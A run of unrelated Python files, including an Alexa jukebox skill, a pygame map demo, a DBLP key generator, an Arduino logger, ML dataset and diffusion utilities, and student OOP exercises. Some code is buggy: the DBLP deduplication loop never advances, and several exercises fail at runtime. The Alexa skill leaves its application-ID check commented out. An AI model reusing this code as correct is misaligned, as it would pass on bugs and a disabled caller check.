    prevent someone else from configuring a skill that sends requests to this
    function.
    """
    # if (event['session']['application']['applicationId'] !=
    #         "amzn1.echo-sdk-ams.app.[unique-value-here]"):
    #     raise ValueError("Invalid Application ID")

    if event['session']['new']:
        on_session_started({'requestId': event['request']['requestId']},
                           event['session'])

    if event['request']['type'] == "LaunchRequest":
        return on_launch(event['request'], event['session'])
    elif event['request']['type'] == "IntentRequest":
        return on_intent(event['request'], event['session'])
    elif event['request']['type'] == "SessionEndedRequest":
        return on_session_ended(event['request'], event['session'])

def on_session_started(session_started_request, session):
    """ Called when the session starts """

    print("on_session_started requestId=" + session_started_request['requestId']
          + ", sessionId=" + session['sessionId'])

def on_launch(launch_request, session):
    """ Called when the user launches the skill without specifying what they
    want
    """

    print("on_launch requestId=" + launch_request['requestId'] +
          ", sessionId=" + session['sessionId'])
    # Dispatch to your skill's launch
    return get_welcome_response()

def on_intent(intent_request, session):
    """ Called when the user specifies an intent for this skill """

    print("on_intent requestId=" + intent_request['requestId'] +
          ", sessionId=" + session['sessionId'])

    intent = intent_request['intent']
    intent_name = intent_request['intent']['name']

    # Dispatch to your skill's intent handlers
    if intent_name == "PlayHotJams":
        return play_jams()
    elif intent_name == "WhatsPlaying":
        return whatsplaying()
    elif intent_name == "AMAZON.HelpIntent":
        return get_welcome_response()
    elif intent_name == "AMAZON.CancelIntent" or intent_name == "AMAZON.StopIntent":
        return handle_session_end_request()
    else:
        raise ValueError("Invalid intent")

def on_session_ended(session_ended_request, session):
    """ Called when the user ends the session.

    Is not called when the skill returns should_end_session=true
    """
    print("on_session_ended requestId=" + session_ended_request['requestId'] +
          ", sessionId=" + session['sessionId'])
    # add cleanup logic here

# --------------- Functions that control the skill's behavior ------------------
def get_welcome_response():
    """ If we wanted to initialize the session to have some attributes we could
    add those here
    """
    session_attributes = {}
    card_title = "Welcome"
    speech_output = "Welcome to ze jukebox"
    # If the user either does not reply to the welcome message or says something
    # that is not understood, they will be prompted again with this text.
    reprompt_text = "Welcome to ze jukebox"
    should_end_session = False
    return build_response(session_attributes, build_speechlet_response(
        card_title, speech_output, reprompt_text, should_end_session))

def handle_session_end_request():
    card_title = "Session Ended"
    speech_output = "Thanks. " \
                    "Have a nice day! "
    # Setting this to true ends the session and exits the skill.
    should_end_session = True
    return build_response({}, build_speechlet_response(
        card_title, speech_output, None, should_end_session))

def play_jams():
    """
    """
    session_attributes = {}
    should_end_session = True
    reprompt_text = None

    clear()
    addrandom(getrandom())
    start()

    playing = nowplaying()
    speech_output = 'Now playing ' + playing['title'] + ' by ' + playing['artist'] + ' on ' + playing['album']
    print(speech_output)

    return build_response(session_attributes, build_speechlet_response(
        'jukebox', speech_output, reprompt_text, should_end_session))

def whatsplaying():
    session_attributes = {}
    should_end_session = True
    reprompt_text = None

    playing = nowplaying()
    speech_output = 'Now playing ' + playing['title'] + ' by ' + playing['artist'] + ' on ' + playing['album']
    print(speech_output)

    return build_response(session_attributes, build_speechlet_response(
        'jukebox', speech_output, reprompt_text, should_end_session))

# --------------- Helpers that build all of the responses ----------------------

def build_speechlet_response(title, output, reprompt_text, should_end_session):
    return {
        'outputSpeech': {
            'type': 'PlainText',
            'text': output
        },
        'card': {
            'type': 'Simple',
            'title': 'SessionSpeechlet - ' + title,
            'content': 'SessionSpeechlet - ' + output
        },
        'reprompt': {
            'outputSpeech': {
                'type': 'PlainText',
                'text': reprompt_text
            }
        },
        'shouldEndSession': should_end_session
    }

def build_response(session_attributes, speechlet_response):
    return {
        'version': '1.0',
        'sessionAttributes': session_attributes,
        'response': speechlet_response
    }


import pygame, sys, time, random
from pygame.locals import *

import grassClass
from playerClass import Player
from grassClass import *
from selectionBoxClass import *
pygame.init()

clock = pygame.time.Clock()
#setup
pygame.display.set_caption('game base')
screen = pygame.display.set_mode((0, 0), pygame.FULLSCREEN)
display = pygame.Surface((1920, 1080))

#set mouse visible
pygame.mouse.set_visible(True)
#read map file
f = open('map.txt')
map_data = [[int(c) for c in row] for row in f.read().split('\n')]
f.close()
columns, rows = len(map_data[0]), len(map_data)
print(columns, rows) #put into rows and collums

# group stuff
grassGroup = pygame.sprite.Group()

player = Player()
playerGroup = pygame.sprite.Group()
playerGroup.add(player)
selection_box = SelectionBox()

load_map(map_data, grassGroup, screen) # load the map

#general variables
clicked_grass = None
tile_width = 20
tile_height = 24
isometric_size = tile_width
x_axis = pygame.math.Vector2(tile_width, 0)
y_axis = pygame.math.Vector2(0, tile_height)
origin = pygame.math.Vector2(columns * isometric_size / 2, columns * isometric_size / 4)
point_to_grid = inverseMat2x2(x_axis, y_axis)
tile_size = (tile_width, tile_height)
map_width = columns * isometric_size
map_height = rows * isometric_size // 2
map_rect = pygame.Rect(0, 0, map_width, map_height)

while True:
    dt = clock.get_time() / 1000.0

    for event in pygame.event.get():
        if event.type == QUIT:
            pygame.quit()
            sys.exit()
        if event.type == KEYDOWN:
            if event.key == K_ESCAPE:
                pygame.quit()
                sys.exit()

        # if event.type == MOUSEBUTTONDOWN:
        #     if event.button == 1:
        #         mouse_x, mouse_y = pygame.mouse.get_pos()
        #         clicked_grass = get_clicked_tile(mouse_x, mouse_y, grassGroup)
        #         print(clicked_grass)
        #         if clicked_grass:
        #             clicked_grass.kill()
        #             print("Mouse cursor collided with a sprite!")
        if event.type == pygame.MOUSEBUTTONDOWN:
            if event.button == 1:  # Left mouse button
                mouse_x, mouse_y = pygame.mouse.get_pos()
                delete_tile(grassGroup, mouse_x, mouse_y)

    screen.fill((0, 0, 0))
    screen.blit(display, (0, 0))

    grassGroup.draw(screen)

    player.update()
    playerGroup.update()

    playerGroup.draw(screen)

    mouse_x, mouse_y = pygame.mouse.get_pos()

    pygame.display.update()
    pygame.display.flip()

    clock.tick(60)


import os
import argparse
from bs4 import BeautifulSoup
import jinja2
import simplejson as json
import string
from nameparser import HumanName
import unicodedata

def get_dblp_key(authors, year):

    if isinstance(authors, str):
        authors = [authors]

    # start with first author's full name
    key = HumanName(authors[0]).last
    key = key.capitalize()  # e.g. de Val
    key = key.replace(' ', '')
    key = key.replace('-', '')
    key = key.replace('ß', 'ss')
    key = key.replace('ä', 'ae')
    key = key.replace('ö', 'oe')
    key = key.replace('ü', 'ue')

    # append co-authors' first letter from name
    for au in authors[1:]:
        cur_author = HumanName(au)
        key += cur_author.last[0]

    # add year
    key += str(year)[2:]

    key = unicodedata.normalize('NFKD', key).encode('ascii', 'ignore').decode()

    return str(key)

def check_key(key, keys):
    if cur_json_key in json_output.keys():
        print('double key {}'.format(cur_json_key))
        return True
    else:
        return

def parse_input(html):
    """Parse HTML input file.
    This parser is specific to the ISMIR 2017 electronic proceedings.
    """
    # parse input file
    soup = BeautifulSoup(html_doc, 'html.parser')

    entries = []

    for cur_row in soup.find_all('tr'):
        cur_entry = {}
        cur_entry['title'] = cur_row.find('a').contents[0]
        cur_entry['authors'] = cur_row.find('em').contents[0].replace(',', ' and')
        cur_entry['url'] = cur_row.find('a')['href']

        entries.append(cur_entry)

    return entries

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='DBLP conference tool.')
    parser.add_argument('--input', type=str, help='path to the input file')
    args = parser.parse_args()

    # open input file
    with open(args.input) as f:
        html_doc = f.read()

    entries = parse_input(html_doc)

    # load jinja template
    PATH = os.path.dirname(os.path.abspath(__file__))
    template_env = jinja2.Environment(loader=jinja2.FileSystemLoader(os.path.join(PATH, 'templates')))
    template = template_env.get_template('template_dblp.txt')

    # render template and write output to file
    with open('output.txt', 'w') as f:
        html = template.render({'entries': entries})
        f.write(html)

    # create json output
    json_output = dict()
    CONF_YEAR = 2018

    for cur_entry in entries:

        cur_authors = cur_entry['authors'].split(' and ')
        cur_dblp_key = get_dblp_key(cur_authors, CONF_YEAR)
        cur_json_key = 'conf/ismir/' + cur_dblp_key

        cur_entry_json = dict()
        cur_entry_json['@key'] = cur_json_key
        cur_entry_json['@mdate'] = ''
        cur_entry_json['author'] = cur_authors
        cur_entry_json['title'] = cur_entry['title']
        cur_entry_json['year'] = CONF_YEAR
        cur_entry_json['crossref'] = 'conf/ismir/' + str(CONF_YEAR)
        cur_entry_json['booktitle'] = 'ISMIR'
        cur_entry_json['url'] = ''
        cur_entry_json['ee'] = 'http://ismir2018.ircam.fr/doc/' + cur_entry['url'].replace('articles', 'pdfs')
        cur_entry_json['record_id'] = ''
        cur_entry_json['doi'] = ''

        # check if key is unique
        cur_key = cur_json_key
        cur_char_idx = 0

        while (cur_key in json_output.keys()):
            # add small character to key to make unique
            cur_key = cur_json_key + string.ascii_lowercase[cur_char_idx]

        # just double-checking key uniqueness
        if cur_key in json_output.keys():
            raise('double key {}'.format(cur_json_key))

        json_output[cur_key] = cur_entry_json

    with open('output.json', 'w', encoding='utf-8') as f:
        f.write(json.dumps(json_output, indent=2))


import os, sys
from pathlib import Path
import serial
from serial import SerialException
import time
import json
from datetime import datetime as dt
# import numpy as np

class StdTime:
    FORMAT = '%Y-%m-%d_%H-%M-%S'

    @classmethod
    def Timestamp(cls, timestamp: dt|None = None):
        ts = dt.now() if timestamp is None else timestamp
        return f"{ts.strftime(StdTime.FORMAT)}"

    @classmethod
    def Parse(cls, timestamp: str|int):
        if isinstance(timestamp, str):
            return dt.strptime(timestamp, StdTime.FORMAT)
        else:
            return dt.fromtimestamp(timestamp/1000)

    @classmethod
    def CurrentTimeMillis(cls):
        return round(time.time() * 1000)

def Monitor(matrix: list[list], minv: float, meanv: float, maxv: float):
    def _to_greyscale(val):
        GREYSCALE = [
            "  ",
            "░░",
            "▒▒",
            "▓▓",
            "██",
        ]
        _min, _max = minv, maxv

        if _max-_min == 0:
            scaled = 0
        else:
            scaled = (val-_min)/(_max-_min)

        i = int(scaled * len(GREYSCALE) + 0.5)
        i = min(i, len(GREYSCALE)-1)
        i = max(i, 0)
        return GREYSCALE[i]

    def _pad(v: float):
        str_val = f"{v:0.2f}"
        pad = "0"*(6-len(str_val))
        return pad+str_val

    # matrix = matrix.copy()
    # matrix.reverse()
    for col in matrix:
        # str_col = [f"{int(round(v*10)):03}" for v in col]
        str_col = [_to_greyscale(v) for v in col]
        # print(",".join(str_col))
        print(",".join(str_col) + "    " + " ".join(_pad(v) for v in col))
    # top =
    print(f"min:{_pad(minv)} | av:{_pad(meanv)} | max:{_pad(maxv)}")

def Run(out_path: Path, usb_port: str, baud_rate: int):
    if not out_path.exists():
        os.makedirs(out_path)
    run_name = f"{StdTime.Timestamp()}"

    arduino = None
    while True:
        try:
            arduino = serial.Serial(port=usb_port, baudrate=baud_rate, timeout=.1)
            break
        except SerialException:
            time.sleep(0.1)

    log_file = open(out_path.joinpath(f"{run_name}.csv"), "w")
    header: list[str] = []
    header += "elapsed_time, frame".split(", ")
    for row in range(4):
        for col in range(6):
            header.append(f"{row+1}_{col+1}")
    log_file.write(",".join(header)+"\n")

    # https://stackoverflow.com/questions/8290397/how-to-split-an-iterable-in-constant-size-chunks
    def _batch(iterable, n):
        l = len(iterable)
        for ndx in range(0, l, n):
            yield iterable[ndx:min(ndx + n, l)]

    def _to_matrix(vals: list[list]):
        HEIGHT = 6
        cols = [col for col in _batch(vals, HEIGHT)]
        # return np.array(cols)
        return cols

    last = 0
    SAVE_PERIOD = 1000
    buffer = []
    started = False
    while True:
        now = StdTime.CurrentTimeMillis()
        delta_t = now-last

        x = arduino.readline().decode(encoding="utf-8", errors="ignore")
        if len(x) == 0: continue
        entry: list|None = None
        try:
            entry = json.loads(x)
            assert entry is not None
            elapsed_time, frame = entry[:2]
            vals = entry[2:]
            if not started and elapsed_time != 0: continue
            started = True
            matrix = _to_matrix(vals)
            buffer.append([elapsed_time, frame]+[v for g in matrix for v in g])
        except json.JSONDecodeError:
            continue

        Monitor(matrix, min(vals), sum(vals)/len(vals), max(vals))

        if delta_t >= SAVE_PERIOD:
            log_file.writelines([
                ",".join([f"{v}" for v in entry])+"\n"
            for entry in buffer])
            buffer.clear()
            log_file.flush()
            last = now

    # for i in range(100):
    #     x = arduino.readline()
    #     print(x.decode(encoding="utf-8", errors="ignore"))


import logging

import albumentations.augmentations.functional as albumentations_F
import cv2
import numpy as np
from PIL import Image
import torch
from torch.utils.data import Dataset
from torchvision.transforms import functional as F

from src.Utilities import MASK_REAL_PATH, MEAN, STD

log = logging.getLogger(__name__)

class ToTensor(object):
    def __call__(self, image, target):
        image = F.to_tensor(image)
        target = torch.as_tensor(np.array(target), dtype=torch.float32)
        return image, target

tensorize = ToTensor()

class Normalize(object):
    def __init__(self, mean, std):
        self.mean = mean
        self.std = std

    def __call__(self, image, target):
        image = F.normalize(image, mean=self.mean, std=self.std)
        return image, target

normalise = Normalize(mean=MEAN, std=STD)

class XRayDataset(Dataset):
    """X-ray segmentation dataset"""

    def __init__(self, dataframe, augmentations, mask_folder, image_size=224):
        self.mask_folder = mask_folder
        self.image_size = image_size

        if 'index' in dataframe:
            del dataframe['index']

        self.augmentate = augmentations
        self.df = dataframe

    def __getitem__(self, index):
        row = self.df.iloc[index]
        label = row["label"]

        image_name = row["image_path"]

        try:
            img = Image.open(image_name).convert("RGB")
            # (width, height)
            img = img.resize(size=(224, 224))
        except FileNotFoundError:
            log.info("Image not found: {}".format(image_name))
            return None

        # Always will exist
        if label == 0:
            mask = Image.open(MASK_REAL_PATH).convert("L")

        else:
            try:
                mask_path = row["mask_path"]
                mask = Image.open(mask_path).convert("L")
            except FileNotFoundError:
                log.info("Fake Mask not found: {}".format(mask_path))
                return None

        img = np.array(img)
        mask = np.array(mask)

        transformed_images = self.augmentate(image=img, image2=mask)
        img = transformed_images["image"]
        mask = transformed_images["image2"]
        # due to isotropic resize need to resize mask
        mask = albumentations_F.resize(mask, height=56, width=56,
                                       interpolation=cv2.INTER_NEAREST)

        # binarise 0 and 1
        if label == 1:
            mask = (mask - mask.min()) / (np.ptp(mask))

        img, mask = tensorize(image=img, target=mask)
        img, mask = normalise(image=img, target=mask)

        images_with_masks = {
            "img": img,
            "mask": mask,
            "label": label
        }

        return images_with_masks

    def __len__(self):
        return len(self.df)


# -*- coding: utf-8 -*-
"""
Created on Tue Jun 18 16:00:04 2019

@author: Hashim
"""
###
'''Task 2'''
class VideoApp:
    participants_online = 0
    action = ["speaking" "silent"]
 #   action = ["speaking" "silent"]
    def __init__(self, user_name=None, company=None):         #user_name and company are attributes
    #    self.participants_online = participants_online
    #    self.action = action
        self.user_name = user_name             #these are attributes, user_name and company
        self.company = company
#        self.participants_online = participants_online
 #       self.action= action

    #@classmethod
    def show_participants_online(cls, participants_online):              #this class method return the number of participants online
        return f'Online participants are {cls.participants_online}'

    #methods
    def go_online(self, participants_online):
        self.participants_online += 1

    def go_offline(self, participants_online):
        _participants_online = self.participants_online - 1
        return "Participants_online are {}".format(_participants_online)

    def status(action, user_name):
        if action != "speaking" or action!="silent":
            print("The user must either be speaking or silent")
            print(f"{user_name} is action")

class Message():
    def __init__(self,user_name, message):
        self.user_name = user_name
        self.message = message

    def __status__(self):
        return f'{self.user_name} sent the message {self.message}'
        return "{} sent the message {}".format(self.user_name, self.message)

class ChatApp(VideoApp, Message):     ###Inhertitence
    def __init__(self):
        super(ChatApp, self).__init__()
        Message.__status__(self)   ###instance
###

###
'''Task 3'''
class Compare():
    def __new__(cls, *args, **kwargs):
        print("We are comparing string lengths.")
        str1 = super(Compare, cls).__new__(cls)#, *args, **kwargs)
        str2 = super(Compare, cls).__new__(cls)#, *args, **kwargs)
        #return len(str1) == len(str2)

    def __init__(self, str1, str2):
        self.str1 = str1
        self.str2 = str2

    def __repr__(self):
        return 'Object 1 is: {}'.format(self.str1)
        return 'Object 2 is: {}'.format(self.str2)

a = Compare('ello')
b = Compare('Hi')
print(a==b)
###

###
''' Task 4'''

#from collections import namedtuple
#class PersonalJoiner:
#    def some_method(self):
#        pass

#class PersonalDetails:
#    def __init__(self):

'''useful link https://pymotw.com/2/collections/namedtuple.html'''

from collections import namedtuple
class PersonalJoiner:
    @staticmethod
    def join_(*args):
        d = {}
        for i in args:
            d.update(i.__asdict())
            person =  namedtuple('person', sorted(d))
            Person = person(**d)
        return Person

PersonalDetails = namedtuple('PersonalDetails', 'date_of_birth')#[, verbose=False][, rename=False])
person_1_details = PersonalDetails(date_of_birth = '09-04-1991')
person_features = namedtuple('person_features', 'eye_colour IQ_score')
person_1_features = person_features(eye_colour = 'green', IQ_score = 109)
person_ = PersonalJoiner()
print(PersonalJoiner.join_(person_1_details, person_1_features))

from collections import namedtuple
PersonalDetails = namedtuple('PersonalDetails', ['date_of_birth'])
person_features = namedtuple('person_features', ['eye_color', 'IQ_score'])

person_1_detail = PersonalDetails(date_of_birth='09-04-1991')
person_1_features =person_features(eye_color='green eyes', IQ_score=109)
#per = PersonalJoiner.join_(person_1_detail, person_1_features)

class PersonalJoiner:
   @staticmethod
   def join_(*args):
       d = {}

       for i in args:
           d.update(i._asdict())
           person=namedtuple('person', d)
           Person= person(**d)
       return Person

person_= PersonalJoiner()
print(PersonalJoiner.join_(person_1_detail, person_1_features))
###

###
'''Task5'''

def double(ip_funct):
    #ip = input ("Please provide the input kyword argument:")
    def inner():
       ip_funct()
       #ip_funct()
        #lst = [ip_funct(),ip_funct()]
    return inner

@double
def ip_funct():
    x= "Ditto"
    lng = len(x)
    print(lng)
#list = [x for i in range(lng)]
    for i in range(lng):
        list = [x]*i
        list.append(x)
    print (list)
ip_funct()
###

'''Task6'''

def verify(ip_funct):
    ip = input ("Please provide the input kyword argument:")
    def inner():
        if ip == 'role:admin':
            print("Kaisay kar letey ho yar, kya baat hai?")
            ip_funct()
        else:
            print("Invalidation")
    return inner

@verify
def ip_funct():
    print ("The function is being called properly here.")
ip_funct()
###

###
'''Alari given task, to print either the keys or values in a dictionary'''
kw= {'a':5.5}
def ttry( b=2, *arg, **kw):
    if 'a'in kw:
        a = kw['a']
    return a
ttry(b=kw)
ttry(**{'d':2})
###

###
m = {"k":"a" , "l":"b"}
#n = {"k":"c" , "l":"d"}
def meth(k={}, l={}):
    return k,l
meth(*m)
#meth(**m, **n)    #Unpacking of all the dictionary parameters
#meth(*m, *n)
#meth(m,n)
#ttry([1,2], kw)
#ttry(a=2, *[1,2], kw)
#ttry(*[1,2])

#i = Compare("Hi","Hello")

#    def __init__(self, stringg):
#        self.stringg = stringg

 ###

class Foo(object):
    def __new__(cls, *args, **kwargs):
        print ("Creating Instance")
        instance = super(Foo, cls).__new__(cls, *args, **kwargs)
        return instance

    def __init__(self, str1, str2):
        self.str1 = str1
        self.str2 = str2

    def bar(self):
        pass
i =Foo(2,3)


from nameko.rpc import rpc
from redis import Redis
from time import time

HSET_NAME = "monitoring"
TTL = 60

class Monitor(object):
    """
    The monitoring service, it uses a redis server to store vehicles ping data in a HSET, currently it's hardcoded to
    use a local redis server on port 6379
    """
    name = "monitor"

    def __init__(self):
        self.redis_connection = Redis(host="redis", port=6379)

    @rpc
    def ping(self, vehicle_id):
        """
        a method is to be used by the vehicles or the simulator to ping, in other words send I'm alive message
        :param vehicle_id: the vehicle id
        :return: None
        """
        self.redis_connection.hset(HSET_NAME, vehicle_id, time())

    @rpc
    def get_vehicles_status(self):
        """
        gets the status of the vehicles, a vehicle is alive if it has pinged in the last TTL seconde (TTL=60)
        :return: a dict {"vehicle_id" : `True if the vehicle is alive other wise false`}
        """
        vehicles_data = self.redis_connection.hgetall(HSET_NAME)
        result = dict()
        now = time()
        for key, value in vehicles_data.items():
            if float(value) + TTL > now:
                result[key.decode()] = True
            else:
                result[key.decode()] = False
        return result


from contextlib import contextmanager
import warnings

import torch
from torch import nn
import random
import math
from torch import optim

def append_dims(x, target_dims):
    """Appends dimensions to the end of a tensor until it has target_dims dimensions."""
    dims_to_append = target_dims - x.ndim
    if dims_to_append < 0:
        raise ValueError(f'input has {x.ndim} dims but target_dims is {target_dims}, which is less')
    return x[(...,) + (None,) * dims_to_append]

def n_params(module):
    """Returns the number of trainable parameters in a module."""
    return sum(p.numel() for p in module.parameters())

@contextmanager
def train_mode(model, mode=True):
    """A context manager that places a model into training mode and restores
    the previous mode on exit."""
    modes = [module.training for module in model.modules()]
    try:
        yield model.train(mode)
    finally:
        for i, module in enumerate(model.modules()):
            module.training = modes[i]

def eval_mode(model):
    """A context manager that places a model into evaluation mode and restores
    the previous mode on exit."""
    return train_mode(model, False)

@torch.no_grad()
def ema_update(model, averaged_model, decay):
    """Incorporates updated model parameters into an exponential moving averaged
    version of a model. It should be called after each optimizer step."""
    model_params = dict(model.named_parameters())
    averaged_params = dict(averaged_model.named_parameters())
    assert model_params.keys() == averaged_params.keys()

    for name, param in model_params.items():
        averaged_params[name].mul_(decay).add_(param, alpha=1 - decay)

    model_buffers = dict(model.named_buffers())
    averaged_buffers = dict(averaged_model.named_buffers())
    assert model_buffers.keys() == averaged_buffers.keys()

    for name, buf in model_buffers.items():
        averaged_buffers[name].copy_(buf)

class EMAWarmup:
    """Implements an EMA warmup using an inverse decay schedule.
    If inv_gamma=1 and power=1, implements a simple average. inv_gamma=1, power=2/3 are
    good values for models you plan to train for a million or more steps (reaches decay
    factor 0.999 at 31.6K steps, 0.9999 at 1M steps), inv_gamma=1, power=3/4 for models
    you plan to train for less (reaches decay factor 0.999 at 10K steps, 0.9999 at
    215.4k steps).
    Args:
        inv_gamma (float): Inverse multiplicative factor of EMA warmup. Default: 1.
        power (float): Exponential factor of EMA warmup. Default: 1.
        min_value (float): The minimum EMA decay rate. Default: 0.
        max_value (float): The maximum EMA decay rate. Default: 1.
        start_at (int): The epoch to start averaging at. Default: 0.
        last_epoch (int): The index of last epoch. Default: 0.
    """

    def __init__(self, inv_gamma=1., power=1., min_value=0., max_value=1., start_at=0,
                 last_epoch=0):
        self.inv_gamma = inv_gamma
        self.power = power
        self.min_value = min_value
        self.max_value = max_value
        self.start_at = start_at
        self.last_epoch = last_epoch

    def state_dict(self):
        """Returns the state of the class as a :class:`dict`."""
        return dict(self.__dict__.items())

    def load_state_dict(self, state_dict):
        """Loads the class's state.
        Args:
            state_dict (dict): scaler state. Should be an object returned
                from a call to :meth:`state_dict`.
        """
        self.__dict__.update(state_dict)

    def get_value(self):
        """Gets the current EMA decay rate."""
        epoch = max(0, self.last_epoch - self.start_at)
        value = 1 - (1 + epoch / self.inv_gamma) ** -self.power
        return 0. if epoch < 0 else min(self.max_value, max(self.min_value, value))

    def step(self):
        """Updates the step count."""
        self.last_epoch += 1

class InverseLR(optim.lr_scheduler._LRScheduler):
    """Implements an inverse decay learning rate schedule with an optional exponential
    warmup. When last_epoch=-1, sets initial lr as lr.
    inv_gamma is the number of steps/epochs required for the learning rate to decay to
    (1 / 2)**power of its original value.
    Args:
        optimizer (Optimizer): Wrapped optimizer.
        inv_gamma (float): Inverse multiplicative factor of learning rate decay. Default: 1.
        power (float): Exponential factor of learning rate decay. Default: 1.
        warmup (float): Exponential warmup factor (0 <= warmup < 1, 0 to disable)
            Default: 0.
        final_lr (float): The final learning rate. Default: 0.
        last_epoch (int): The index of last epoch. Default: -1.
        verbose (bool): If ``True``, prints a message to stdout for
            each update. Default: ``False``.
    """

    def __init__(self, optimizer, inv_gamma=1., power=1., warmup=0., final_lr=0.,
                 last_epoch=-1, verbose=False):
        self.inv_gamma = inv_gamma
        self.power = power
        if not 0. <= warmup < 1:
            raise ValueError('Invalid value for warmup')
        self.warmup = warmup
        self.final_lr = final_lr
        super().__init__(optimizer, last_epoch, verbose)

    def get_lr(self):
        if not self._get_lr_called_within_step:
            warnings.warn("To get the last learning rate computed by the scheduler, "
                          "please use `get_last_lr()`.")

        return self._get_closed_form_lr()

    def _get_closed_form_lr(self):
        warmup = 1 - self.warmup ** (self.last_epoch + 1)
        lr_mult = (1 + self.last_epoch / self.inv_gamma) ** -self.power
        return [warmup * max(self.final_lr, base_lr * lr_mult)
                for base_lr in self.base_lrs]

# Define the diffusion noise schedule
def get_alphas_sigmas(t):
    return torch.cos(t * math.pi / 2), torch.sin(t * math.pi / 2)

def append_dims(x, target_dims):
    """Appends dimensions to the end of a tensor until it has target_dims dimensions."""
    dims_to_append = target_dims - x.ndim
    if dims_to_append < 0:
        raise ValueError(f'input has {x.ndim} dims but target_dims is {target_dims}, which is less')
    return x[(...,) + (None,) * dims_to_append]

def expand_to_planes(input, shape):
    return input[..., None].repeat([1, 1, shape[2]])

class PadCrop(nn.Module):
    def __init__(self, n_samples, randomize=True):
        super().__init__()
        self.n_samples = n_samples
        self.randomize = randomize

    def __call__(self, signal):
        n, s = signal.shape
        start = 0 if (not self.randomize) else torch.randint(0, max(0, s - self.n_samples) + 1, []).item()
        end = start + self.n_samples
        output = signal.new_zeros([n, self.n_samples])
        output[:, :min(s, self.n_samples)] = signal[:, start:end]
        return output

class RandomPhaseInvert(nn.Module):
    def __init__(self, p=0.5):
        super().__init__()
        self.p = p
    def __call__(self, signal):
        return -signal if (random.random() < self.p) else signal

class Stereo(nn.Module):
  def __call__(self, signal):
    signal_shape = signal.shape
    # Check if it's mono
    if len(signal_shape) == 1: # s -> 2, s
        signal = signal.unsqueeze(0).repeat(2, 1)
    elif len(signal_shape) == 2:
        if signal_shape[0] == 1: #1, s -> 2, s
            signal = signal.repeat(2, 1)
        elif signal_shape[0] > 2: #?, s -> 2,s
            signal = signal[:2, :]

    return signal


import os
import numpy as np
import cv2
import csv
import pickle
import random
from ga import GeneticAlgorithm

bins = 30
grid_size = 13
classes = 11
hist_weight = 1
prob_weight = 1
dim_weight = 1
image_counts = [1, 5, 10000, 25000, 50000]

cache = None

def get_real_images(path):
    if path[-1] != "/":
        path += "/"
    files = []
    labels = []
    for i in range(93, 244):
        f=path+"images/"+str(i)+".png"
        l=path+"labels/"+str(i)+".txt"
        if os.path.exists(f) and os.path.exists(l):
            files.append(f)
            labels.append(l)

    return files, labels

def get_synthetic_images(path):
    if path[-1] != "/":
        path += "/"
    files = []
    labels = []

    with open(path+"train.txt") as fileset:
        for line in fileset:
            f = line.replace("/data/acp15tdw/data/", path).strip()
            l = f.replace("images", "labels").replace(".png", ".txt")
            if os.path.exists(f) and os.path.exists(l):
                files.append(f)
                labels.append(l)

    return files, labels

def get_stats(f, l):
    global cache
    if cache is None:
        if os.path.exists("cache.pkl"):
            with open("cache.pkl", "rb") as p_f:
                cache = pickle.load(p_f)
        else:
            cache = {}

    if not f in cache:
        image = cv2.imread(f, 0)

        hist = np.reshape(cv2.calcHist([image], [0], None, [bins], [0, 256]), [-1])

        hist = hist / np.sum(hist)

        labels = []

        with open(l) as l_file:
            label_file = csv.reader(l_file, delimiter=' ', quoting=csv.QUOTE_NONNUMERIC)
            for line in label_file:
                line[1] = max(0, min(grid_size-1, line[1]*grid_size))
                line[2] = max(0, min(grid_size-1, line[2]*grid_size))
                labels.append(line)

        grid = np.zeros([grid_size, grid_size, classes])
        dims = np.zeros([classes, 2])

        for label in labels:
            grid[int(label[2]),int(label[1]),int(label[0])] += 1
            dims[int(label[0]), 0] += label[3]
            dims[int(label[0]), 1] += label[4]

        grid /= len(labels)

        dims /= len(labels)

        cache[f] = hist, grid, dims

    return cache[f]

def get_image_statistics(dataset):
    images = dataset['images']
    labels = dataset['labels']

    histogram = np.zeros([30])
    probability_grid = np.zeros([grid_size, grid_size, classes])
    dimensions = np.zeros([classes, 2])

    rows = len(images)

    for i in range(rows):
        hist, grid, dims = get_stats(images[i], labels[i])
        histogram += hist
        probability_grid += grid
        dimensions += dims

    histogram /= rows
    probability_grid /= rows
    dimensions /= rows

    return histogram, probability_grid, dimensions

def get_difference(d1, real_stats):
    s1 = get_image_statistics(d1)
    s2 = real_stats

    hist_diff = np.sum(np.square(s1[0]-s2[0]))*hist_weight
    prob_diff = np.sum(np.square(s1[1]-s2[1]))*prob_weight
    dim_diff = np.sum(np.square(s1[2]-s2[2]))*dim_weight

    return (hist_diff + prob_diff + dim_diff) / len(s1)

real_images = {}
real_images['images'], real_images['labels'] = get_real_images("/home/thomas/test_experiments/data")

train_images = {}
train_images['images'], train_images['labels'] = get_synthetic_images("/home/thomas/work/GuiImages/public")

new_training_images = {"images":[],
                       "labels":[]}

real_stats = get_image_statistics(real_images)

for count in image_counts:

    def contract (x):
        return get_difference(x, real_stats)

    def rand():
        l = {}
        indices = random.choices(range(0, len(train_images["images"])-1), k=count)
        l["images"] = [train_images["images"][i] for i in indices]
        l["labels"] = [train_images["labels"][i] for i in indices]

        return l

    def mutate(x):
        candidate = x["images"][0]

        while candidate in x["images"]:
            rnd = random.randint(0, len(train_images["images"])-1)
            candidate = train_images["images"][rnd]
            candidate_labels = train_images["labels"][rnd]

        ind = random.randint(0, len(x["images"])-1)
        x["images"][ind] = candidate
        x["labels"][ind] = candidate_labels

        return x

    def crossover(x, y):
        point = random.randint(1, len(x)-1)
        c1 = {}
        c2 = {}
        c1["images"] = x["images"][:point] + y["images"][point:]
        c1["labels"] = x["labels"][:point] + y["labels"][point:]

        c2["images"] = y["images"][:point] + x["images"][point:]
        c2["labels"] = y["labels"][:point] + x["labels"][point:]

        return c1, c2

    print("Creating GA - Initialising Population.")

    ga = GeneticAlgorithm(100, contract, rand, mutate, crossover)

    print("Evolving Population for count:", count)

    for i in range(1000):
        ga.evolve()

        if (ga.fitnesses[0] == 0):
            break

    print("Final Fitness:", ga.fitnesses[0], ga.population[0]['images'][:5])

    with open("cache.pkl", "wb") as p_f:
        pickle.dump(cache, p_f)
    print("Writing top", count, "images!")

    with open("train-" + str(count) + ".txt", "w+") as output:
        for image in ga.population[0]["images"]:
            output.write(image + "\n")


from setuptools import setup

with open("requirements.txt") as f:
    required = f.read().splitlines()

setup(
    name="peft_pretraining",
    version="1.0",
    description="ReLoRA: Parameter-efficient pre-training",
    url="https://github.com/Guitaricet/peft_pretraining",
    author="Vlad Lialin",
    author_email="vlad.lialin@gmail.com",
    license="Apache 2.0",
    packages=["peft_pretraining"],
    install_requires=required,
)


